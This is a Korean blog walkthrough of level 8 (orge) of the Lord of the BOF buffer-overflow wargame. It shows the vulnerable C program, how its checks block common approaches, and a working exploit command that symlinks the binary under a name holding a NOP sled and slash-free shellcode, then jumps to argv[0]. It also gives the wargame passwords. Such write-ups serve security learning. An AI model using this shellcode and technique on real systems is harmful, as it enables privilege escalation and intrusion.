Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 고르드
- promise처리
- 화이트해커를 위한 웹 해킹의 기술
- 지보싶 신촌점
- 금별맥주
- 홍대 예술
- apolloclient
- promise메서드
- apollo react native
- 도그존
- 홍대 토라비
- graphql mutation error
- 화이트 해커를 위한 웹 해킹의 기술
- 토라비
- 비동기배열
- 홍대 카페 장쌤
- 비동기배열처리방법
- 신촌 소문난집
- 앙버터마카롱
- 잠실새내
- typescript
- 잠실새내 도그존
- 운정 소바동
- graphql with reactnative
- graphql with RN
- 예쁜술집 예술
- graphql 400
- useMutation error
- graphql
- graphql react native
Archives
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOB 8번 풀이 (orge) 본문
id: orge
pw: timewalker
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
- strcpy의 BOF 취약점 이용해서 공격
- egghunter 코드 삽입 (환경변수를 이용한 공격 불가능)
- bufferhunter 코드 삽입 (buffer 내에 쉘코드 삽입해도 0으로 초기화 됨, 사용 불가)
- 전달하려는 문자열의 48번째는 "\xbf"와 같아야함 (같지 않으면 강제종료)
- buffer에 담긴 내용 출력
- argv[1]에 전달되는 문자열 길이가 48보다 길어서는 안됨
- argc가 2가 아니면 종료 됨 (argv[2] 사용 불가능)
- argv[1]를 초기화 함 (argv[1]에 쉘 코드 담아도 0으로 초기화 됨)
스택 구조는 이전 문제들과 같으므로 생략
argv[1]과 buffer, 환경변수가 모두 초기화되기 때문에 이전과는 다른 쉘코드 저장 공간을 찾아야한다.
유일하게 초기화 되지 않은 건 argv[0]이다. argv[0]에는 실행 파일 명이 담긴다.
따라서 symbolic link를 사용해서 troll과 쉘 코드에 링크를 걸어주면
troll이 쉘 코드가 실행파일명인 파일로 실행된다. => argv[0]에 쉘 코드가 담긴다.
이제 troll에 쉘 코드로 링크를 걸어주자.
이전처럼 25byte로 구성된 쉘 코드는 \x2f (/) 가 있기 때문에 argv[0]에 넣으면 경로 이동처럼 작동을 해서 \x2f 를 사용하지 않는 쉘 코드를 사용해야 한다.
NOP slide 를 위해 NOP도 충분히 넣어주면
ln -s troll `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`
위와 같이 쉘코드를 실행파일명으로 하는 파일과 troll이 링크되어있다.
이제 argv[0]의 주소를 알아내보자
troll.c를 복사해서 troll2.c 를 만들고 troll2.c의 코드를 살짝 수정해서 argv[0]의 주소를 출력하도록 만들었다.
(이전 문제에서 수정한 것 참고)
그리고 argv[1]을 적절하게 채워서 전달해주면
argv[0]의 주소는 0xbffffc4b 로 나왔다.
이제 ret 값에 argv[0]의 주소를 넣어주고 실행시켜보자.
(NOP를 충분히 넣어주었으므로 0xbffffc4b에서 0x10을 더한 0xbffffc5b를 사용했다.)
troll 권한으로 쉘이 실행되었다.
troll의 pw: "aspirin"
'wargame 풀이 > LOB' 카테고리의 다른 글
LOB 10번 풀이 (vampire) (0) | 2020.11.22 |
---|---|
LOB 9번 풀이 (troll) (0) | 2020.11.21 |
LOB 7번 풀이 (darkelf) (0) | 2020.11.10 |
LOB 6번 풀이 (wolfman) (0) | 2020.11.07 |
LOB 5번 풀이 (orc) (0) | 2020.11.06 |
Comments